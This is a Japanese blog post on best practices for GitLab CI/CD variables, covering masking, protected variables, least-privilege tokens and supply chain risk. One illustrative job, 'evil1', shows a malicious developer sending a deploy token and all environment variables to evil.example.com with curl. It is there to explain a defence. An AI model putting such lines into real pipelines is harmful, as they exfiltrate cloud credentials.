2022年12月24日 - Tomo Masakura    

GitLab CI/CD Variables [後編]ベストプラクティス

GitLab CI/CD Variablesを利用する際のベストプラクティス。

GitLab CI/CD Variables [前編]では、主にGitLab CI/CD Variables の使い方・設定方法をたくさん紹介しました。この後編では、CI/CD Variablesを活用する上でのベストプラクティスを紹介します。

CI/CD Variablesベストプラクティス

なるべく.gitlab-ci.ymlファイルでCI/CD変数を設定します

CI/CD変数はなるべく.gitlab-ci.ymlファイルで設定するようにします。特に理由がない限り、プロジェクトのCI/CD変数のような開発者(Developerロール)がすぐには値を確認できないCI/CD変数の利用は避けてください。

JavaのビルドツールのGradleの出力を抑止する設定GRADLE_OPTS=-Dorg.gradle.logging.level=quietをCI/CD変数に設定するとします。これは、プロジェクト(ないしはグループ)のCI/CD変数でも.gitlab-ci.ymlファイルのどちらに設定しても動作に違いはありません。

次の例では、プロジェクトのCI/CD変数に設定しています。

プロジェクトのCI/CD変数に設定した例

build:
  stage: build
  script:
    - ./gradlew jar

開発チームの開発者の多くはDeveloperロールであり、プロジェクトのCI/CD変数にアクセスすることができません。CI/CD変数GRADLE_OPTSが設定されているのがわからず、Gradleタスクのログがなぜ出力されないのか混乱するでしょう。もし、CIジョブが失敗したら、そのデバッグは困難となります。

プロジェクトのCI/CD変数に設定するのではなく、開発者にもわかりやすいように.gitlab-ci.ymlファイルで設定してください。

variables:
  GRADLE_OPTS: -Dorg.gradle.logging.level=quiet

build:
  stage: build
  script:
    - ./gradlew jar

例外的に、アクセストークンなどの秘匿情報を.gitlab-ci.ymlファイルには記述してはいけません。漏洩の可能性が高まります。

どうしてもプロジェクトやグループのCI/CD変数を利用する場合、CIジョブのログにその値を出力し、開発者にも値がわかるようにします。

build:
  stage: build
  script:
    # GRADLE_OPTS CI/CD変数の内容を表示し、開発者にもわかるようにします
    - echo "GRADLE_OPTS=${GRADLE_OPTS}"
    - ./gradlew jar

RunnerやGitLabインスタンスへのCI/CD変数の設定を避けます

RunnerやGitLabインスタンスのCI/CD変数の過度な利用は避けます。GitLabの利用者はこれらのCI/CD変数が設定されているかすらわかりません。過度に利用すると利用者が混乱するでしょう。

GitLab CI/CD Variables [前編]のRunnerのCI/CD変数ではRunnerのCI/CD変数の設定例として次のHTTPプロキシの設定を例に挙げました。

[[runners]]
  name = "984d91d334c9"
  environment = ["http_proxy=http://proxy.example.jp:8080","https_proxy=http://proxy.example.jp:8080","no_proxy=localhost,127.0.0.1"]

開発者はHTTPプロキシを意識せずにCIジョブを記述できるので大変便利です。しかし、開発者がHTTPプロキシが利用されていることに気が付きにくく、HTTPプロキシが原因でCIジョブが失敗すると、その原因追求は困難となります。

利用者への混乱を避けるため、RunnerやGitLabインスタンスのCI/CD変数を設定するのはなるべく避けてください。

必要があってRunnerやGitLabインスタンスのCI/CD変数を設定する場合、RunnerやGitLabインスタンスの仕様をドキュメント化し、利用者がすぐにアクセスできるようにしてください。例えばGitLab.comではSaaS版Runnerの仕様をドキュメント化し、公開しています。

また、RunnerやGitLabインスタンスのCI/CD変数の修正は、利用者への影響を十分に考えて行ってください。その修正で動作しなくなるCIジョブがあるでしょう。利用者からすると、何もしていないのにCIジョブが壊れた状態になります。

複合プロジェクトの共通設定はextends:を活用します

複数のアプリ(例えばJavaのサーバーサイドアプリとJavaScriptのフロントエンドアプリ)を一つのGitLabプロジェクトに同居させている複合プロジェクトの共通設定は、グローバルセクションのvariables:よりもextends:による継承を活用します。

## Javaプロジェクト
.java:
  image: eclipse-temurin:17-jdk
  before_script:
    # java-appディレクトリにGradleプロジェクトがあります
    - cd java-app
  variables:
    # Gradleデーモンの起動の抑止
    GRADLE_OPTS: -Dorg.gradle.daemon=true

build:java:
  extends: .java
  script:
    - ./gradlew jar

check:java:
  extends: .java
  script:
    - ./gradlew check

## JavaScriptプロジェクト
.javascript:
  image: node:16
  variables:
    # fetch関数を使えるように
    NODE_OPTIONS: --experimental-fetch
  before_script:
    # javascript-appディレクトリにNode.jsプロジェクトがあります
    - cd javascript

build:javascript:
  extends: .javascript
  script:
    - npm run build

アクセストークンなどの秘匿情報を守る

クラウドサービスへのデプロイ用のアクセストークン(特に本番系用)などの秘匿情報が漏洩した場合の被害は甚大です。これは、ソースコードの漏洩と比ぶべくもありません。秘匿情報は開発チームのごく一部だけがアクセスできればよく、開発チームのほとんどのメンバーから隠す必要があります。

ここでは秘匿情報を守るためのベストプラクティスをまとめています。

アクセストークンの権限を絞る

漏洩したときの被害を最小限に食い止めるために、アクセストークンの権限を最小限に絞ります。

アクセストークンを漏洩から守ることは大変重要です。残念なことに、絶対に漏洩させないようにはできません。漏洩したときの被害を最小限に食い止める対策も同じくらい重要です。

アプリケーションAをステージングにデプロイする必要があるなら、それだけが可能なアクセストークンを作成し利用します。決して、アプリケーションBにもアプリケーションAの本番系にもデプロイ以外にも使えるアクセストークンを利用してはいけません。

書籍やインターネット上の資料の中には、フルアクセスにしたパーソナルアクセストークンなど、権限を絞っていないアクセストークンを作成する例を多く見かけます。そういった資料に書いてあるからとそのままにしないでください。

なお、アクセストークンの権限を絞る原則は、CI/CD変数によらず、アクセストークンを利用するどのような場合でも有効です。

アクセストークンを使い回さない

CI/CD変数に設定するために発行したアクセストークンを他で使い回さないでください。また、他のシステムで利用しているアクセストークンをCI/CD変数に設定するのは避けてください。

CI/CD変数にアクセストークンを設定するときに、適切な権限のアクセストークンを発行し、そのままCI/CD変数に設定します。

  • 使いまわすためのアクセストークンは必要以上の権限を持つことが多いです。漏洩時のリスクが高くなります。
  • 使いまわすためにアクセストークンがパソコンやクラウドストレージに保存されることになります。漏洩の確率が高くなります。
  • アクセストークンをどこで使っているのかがわかりにくくなります。不要になったアクセストークンは取り消さなければなりませんが、CI/CD変数に設定されているアクセストークンを取り消したときにほかに影響が出るかもしれず、取り消しをためらいがちです。

この原則も、CI/CD変数によらず、アクセストークンを利用するどのような場合でも有効です。

秘匿情報はプロジェクトのCI/CD変数に設定します

秘匿情報はアクセスできる人の多い.gitlab-ci.ymlへの設定を避け、必ずプロジェクトのCI/CD変数に設定します。

プロジェクトのCI/CD変数はOwnerロールまたはMaintainerロールのユーザーしかアクセスできません。その他の開発チームのメンバー、はこの設定画面にアクセスして、CI/CD変数を読み取ることはできません。もちろん、開発チームのメンバーを安易にMaintainerロールにしないようにすることも大切です。

次の例では、デプロイ用のアクセストークンをプロジェクトのCI/CD変数に設定し、CIジョブのスクリプトでアクセストークンを利用してデプロイしています。

アクセストークンをプロジェクトのCI/CD変数に登録する例

deploy:
  stage: deploy
  script:
    - ./ci/scripts/deploy.sh --token=${CLOUD_ACCESS_TOKEN}

しかし、プロジェクトのCI/CD変数に設定したとしても、これらの秘匿情報が漏洩しないわけではありません。より漏洩しにくくするために、次の設定を利用します。

  • CI/CD変数をマスクする
  • Protect variable化する

秘匿情報のCI/CD変数は必ずマスクします

秘匿情報のCI/CD変数はプロジェクトのCI/CD変数に設定した上で、必ずマスクします。秘匿情報がCIジョブにされる代わりに[MASKED]と表示され、CIジョブのログからの漏洩を防ぎます。

プロジェクトCI/CD変数のマスク設定

CIジョブのログではマスクされる

本来であれば、秘匿情報を標準出力に出力するようなCIジョブのスクリプトを書いてはいけません。しかし、利用しているツールが勝手に出力するかもしれません。(開発ツールのデバッグモードを有効にすると環境変数すべてが出力されることがあります)また、開発者がついうっかりやってしまうこともあります。(環境変数の一覧が見たいからとenvコマンドを実行させるなど)

マスクをすることで、このようなうっかりミスによる漏洩をある程度防ぐことができます。

Protected variableで開発者から秘匿情報を隠します

秘匿情報はプロジェクトのCI/CD変数でProtected variableに設定し、不要な開発者への漏洩を防ぎます。

プロジェクトのCI/CD変数は開発者(Developerロール)が直接見る手段はありません。ただし、悪意のある開発者が.gitlab-ci.ymlファイルに次のように書くことで、値を奪取することができます。

evil1:
  script:
    # この方法はマスクされていると表示されません。
    - echo ${CLOUD_ACCESS_TOKEN}

    # 自身が管理しているサーバーにアクセストークンを送信する。
    - curl "http://evil.example.com/$CLOUD_ACCESS_TOKEN"

    # すべてのCI/CD変数を奪取することもできます。
    - env | curl -X POST -d - http://evil.example.com  

プロジェクトのCI/CD変数をProtected variableに設定することで、この問題を軽減できます。Protected variableに設定されたCI/CD変数は、Developerロールではプッシュできない保護されたブランチ(一般的にはmainもしくはmaster)や保護されたタグでのCIジョブでのみ値が設定されます。

プロジェクトCI/CD変数のProtected variable設定

悪意のある開発者(Developerロール)が、CIジョブのスクリプトに例のような悪意のあるスクリプトを記述したとしても、保護されていないブランチやタグにしかプッシュできません。そのCIジョブではProtected variableに設定されたCI/CD変数は使えません。開発者が秘匿情報を奪取することは困難になります。

ただし、この悪意のあるスクリプトが保護されたブランチにマージされた場合はこの限りではありません。マージをする前に、必ずコードをレビューし、安全なことを確認してください。

このとき、.gitlab-ci.ymlファイルだけでなく、次のものもレビューが必要です。

  • CIジョブで実行されるシェルスクリプトやビルドツールのスクリプトに不要な追加・変更がないか。
  • 利用している開発ツールやライブラリが不要に追加されたり変更されていないか。

環境(GitLab Environment)ごとに異なるアクセストークンを利用する

アクセストークンの権限を絞るため、本番環境とステージング環境やReview apps環境へのデプロイはそれぞれ権限を絞った別々のアクセストークンを利用します。

仮にステージング環境のアクセストークンが漏洩しても、本番環境には影響がありません。(ステージング環境のアクセストークンが漏洩している場合は本番環境のそれも漏洩している可能性が高いのですが、運良く助かることがあります)

プロジェクトのCI/CD変数の環境ごとに値を設定する機能を利用して、本番系とステージング系で異なるアクセストークンを設定します。

プロジェクトCI/CD変数のEnvironment scope設定

production:
  stage: deploy
  script:
    - ./ci/scripts/deploy.sh --token=${CLOUD_ACCESS_TOKEN}
  environment:
    # CI/CD変数のEnvironment scopeとこの環境名が一致したものだけが利用できる
    name: production

staging:
  stage: deploy
  script:
    - ./ci/scripts/deploy.sh --token=${CLOUD_ACCESS_TOKEN}
  environment:
    name: staging

なお、本番系やステージング系へのデプロイ用のアクセストークンは必ずProtected variableに設定します。

Review apps用のアクセストークンは保護されていないブランチで利用するものですので、Protected variableを外してください。Review apps用のアクセストークンは必然的に開発者に知られやすくなります。

外部シークレットサービスの利用を検討する

秘匿情報をプロジェクトのCI/CD変数に設定する代わりに、外部のシークレットサービスの利用を検討します。

GitLabはVault by HasiCropに対応しています。

ただし、この機能はPremiumプラン以上が必要です。詳しくは公式ドキュメントのhttps://docs.gitlab.com/ee/ci/secrets/index.html#use-vault-secrets-in-a-ci-jobをご覧ください。

CI_JOB_JWT_V2を利用したクラウドサービスへのデプロイを検討します

AWS / Azure / Google Cloudでは、プロジェクトのCI/CD変数の代わりにCIジョブの実行ごとに発行されるCI_JOB_JWT_V2トークンを利用したクラウドサービスへのアクセスの利用を検討します。

クラウドサービスのアクセストークンの有効期限は一般的に長めです。短く設定している開発チームでもせいぜい数ヶ月ではないでしょうか?アクセストークンが漏洩したときの被害も長期に渡ります。

CI_JOB_JWT_V2トークンの有効期限はCIジョブのタイムアウト値と同じ一時間(デフォルト値)と非常に短く、漏洩したときのリスクを軽減できます。

CI_JOB_JWT_V2トークンは次のクラウドサービスに対応しています。

この機能は、CI_JOB_JWT_V2トークンの妥当性を検査するために、各クラウドサービスからGitLabのインスタンスへアクセスします。ファイヤーウォールなどでGitLabの接続元を制限している場合や、社内ネットワークに配置したGitLabでは利用できません。

サプライチェーン攻撃

ターゲットを直接狙うのではなく、セキュリティ対策の弱そうな提携先の企業のネットワークへ侵入し、そこを足がかりにしてターゲットに攻撃をすることをサプライチェーン攻撃と呼びます。アプリケーション本体を直接ではなく、それが利用しているライブラリ・フレームワーク・開発ツールなどに侵入し、そこを足がかりにしてアプリケーションを攻撃することも含みます。後者はソフトウェアサプライチェーン攻撃と呼ばれることもあります。

2021年に発生したソフトウェアサプライチェーン攻撃の、メルカリがコードカバレッジツール「Codecov」への不正アクセスにより、一部の顧客情報が漏洩した件をご存知の方も多いのではないでしょうか?この際、メルカリだけでなく、たくさんのサービスが影響を受けています。

近年、このDevOps環境を狙ったソフトウェアサプライチェーン攻撃が増加しているとの報告があります。この攻撃が成立すると、最悪の場合、CI/CD変数に含まれる秘匿情報が漏洩し、悪用されかねません。

残念ながらこのソフトウェアサプライチェーン攻撃を完全に防ぐことは困難です。原理的には、アプリケーションで利用しているサードパーティの開発ツールやライブラリやサービスなどを常時詳細にレビューすれば防げます。しかし、実際には途方もない時間と人数が必要なため、実現可能ではありません。

GitLabでは、公式ドキュメントHow a DevOps Platform helps protect against supply chain attacksにて、GitLabを活用したソフトウェアサプライチェーン攻撃への対策方法を紹介しています。

環境(GitLab Environment)ごとにCI/CD変数の値を切り替えるは.gitlab-ci.ymlファイルで

環境(GitLab Environment)ごとにCI/CD変数の値を変えるのはプロジェクトのCI/CD変数に設定するのが簡単ですが、秘匿情報を除き、.gitlab-ci.ymlファイルに記述します。

本番環境やステージング環境ではリリースビルドを利用するけど、Review appsではデバッグビルドを利用するようなことはよくあります。

次の例では、プロジェクトのCI/CD変数を利用して、メインブランチにマージされたときにはリリースビルドをして本番環境へデプロイを、Review appsへはデバッグビルドでデプロイをするようにしています。

環境ごとのプロジェクトCI/CD変数の例

.deploy:
  stage: deploy
  script:
    # .NETアプリをReleaseもしくはDebugビルドします
    - dotnet publish --output ./dist --configuration ${CONFIGURATION}
    - ./ci/deploy.sh ./dist ${DEPLOY_TARGET}

production:
  extends: .deploy
  environment:
    name: production
  when: manual
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

staging:
  extends: .deploy
  environment:
    name: staging
  when: manual
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

review:
  extends: .deploy
  environment:
    name: review/$CI_COMMIT_REF_SLUG
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"

多くの開発者はプロジェクトのCI/CD変数にアクセスできないため、どちらがリリースビルドでどちらがデバッグビルドなのかを知ることは困難です。もし、間違えて本番系でデバッグビルドが行われているように設定されていても、開発者がそれに気がつくことは難しいでしょう。

秘匿情報以外は.gitlab-ci.ymlファイルに書くようにしてください。

次のように、.gitlab-ci.ymlに記述するようにします。

.deploy:
  stage: deploy
  script:
    - dotnet publish --output ./dist --configuration ${CONFIGURATION}
    - ./ci/deploy.sh ./dist ${DEPLOY_TARGET}

production:
  extends: .deploy
  variables:
    CONFIGURATION: Release
    DEPLOY_TARGET: production
  environment:
    name: production
  when: manual
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

staging:
  extends: .deploy
  variables:
    CONFIGURATION: Release
    DEPLOY_TARGET: staging
  environment:
    name: staging
  when: manual
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

review:
  extends: .deploy
  variables:
    CONFIGURATION: Debug
    DEPLOY_TARGET: $CI_COMMIT_REF_SLUG
  environment:
    name: review/$CI_COMMIT_REF_SLUG
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"

例外的に、秘匿情報と強く関連する情報は秘匿情報でなくてもプロジェクトのCI/CD変数に設定したほうがよいでしょう。

例えば、Azureのログインに必要なアプリケーションID・パスワード・テナントIDの三つの値がそれにあたります。この中で秘匿情報はパスワードだけですが、この三つは強い関連があるため、プロジェクトのCI/CD変数にまとめて設定します。

Azureのログイン資格情報の設定例

.deploy:
  stage: deploy
  before_script:
    # AZURE_APP_ID / AZURE_APP_PASSWORD / AZURE_TENANT_IDは
    # production / Review appsで切り替えています。
    - echo "AZURE_APP_ID=${AZURE_APP_ID}" "AZURE_TENANT_ID=${AZURE_TENANT_ID}"
    - az login --service-principal -u ${AZURE_APP_ID} -p ${AZURE_APP_PASSWORD} --tenant ${AZURE_TENANT_ID}
  script:
    - ./ci/scripts/deploy

production:
  extends: .deploy
  environment:
    name: production
  when: manual
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

staging:
  extends: .deploy
  environment:
    name: staging
  when: manual
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

review:
  extends: .deploy
  environment:
    name: review/$CI_COMMIT_REF_SLUG
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"

例では、az loginでログインするユーザーIDやテナントIDをCIジョブのログに表示することで、どのAzure環境にログインしているかが開発者にもわかるよう配慮しています。

認証用証明書ファイルやライセンスファイルはプロジェクトのCI/CD変数で

認証用証明書ファイルやライセンスファイルなどのテキストファイルをCI/CD変数に設定するときは、プロジェクトのCI/CD変数でタイプ設定をFileにします。

次の例では、Azureへのログインで利用できる証明書ファイル(pem)を設定しています。

プロジェクトCI/CD変数にファイルを設定

タイプはデフォルトでVariableですが、Fileに変更すると、CI/CD変数には値が保存されたファイルへのパスが設定されます。

deploy:
  before_script:
    # 変数AZURE_PASSWORD_CERTIFICATEには証明書ファイルへのパスが設定されている。
    - echo "AZURE_APP_ID=${AZURE_APP_ID}" "AZURE_TENANT_ID=${AZURE_TENANT_ID}"
    - az login --service-principal --username ${AZURE_APP_ID} --tenant ${AZURE_TENANT_ID} --password ${AZURE_PASSWORD_CERTIFICATE}
  script:
   - echo run deploy.
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

ただし、この機能はバイナリファイルには対応していません。iOSアプリの署名に使うpkcs12ファイルなどのバイナリファイルを設定したいこともあるでしょう。これらのファイルはbase64エンコードをした上でプロジェクトのCI/CD変数に設定し、CIジョブのスクリプトでデコードして利用する必要があります。

現在、バイナリファイルを直接扱える新機能のSecure Filesが開発中です。仕様が変更されることが予測されるため、今はおすすめできませんが、将来的にはバイナリファイルも簡単に扱えるようになります。

CI/CD変数のデバッグ

複雑な.gitlab-ci.ymlファイルを記述すると、CI/CD変数がどのような値になっているかわかりにくくなります。CIジョブの処理にexportを追加すると、全環境変数がCIジョブのログに表示されます。

build:
  script:
    - export # この行を追加する。
    - echo run build

事前に、CI/CD変数に設定したすべての秘匿情報がマスクされていることを確認してください。

他にもCI/CD変数CI_DEBUG_TRACEを有効にして、CIジョブのデバッグをする方法があります。

build:
  variables:
    CI_DEBUG_TRACE: "true"

.gitlab-ci.ymlファイルの修正を避けたい場合は、パイプラインの手動実行でCI_DEBUG_TRACEを有効にします。

デバッグを有効にしてCIパイプラインを実行する

最後に

CI/CD変数の設定方法は様々です。それぞれにメリットデメリットがあります。なんとなくで利用していると、CIジョブがうまく動作しないときのデバッグが大変になります。CI/CD変数を設定した本人はまだしも、他の開発者(特にDeveloperロール)には大変な作業となるでしょう。

定期的に時間をさいて、CI/CD変数やCIジョブの見直しを行い、メンテナンスしやすいように維持してください。

特に、クラウドサービスのアクセストークン・認証用証明書・パスワードなどの秘匿情報を利用する場合は十分に気をつけてください。

Gitlab x icon svg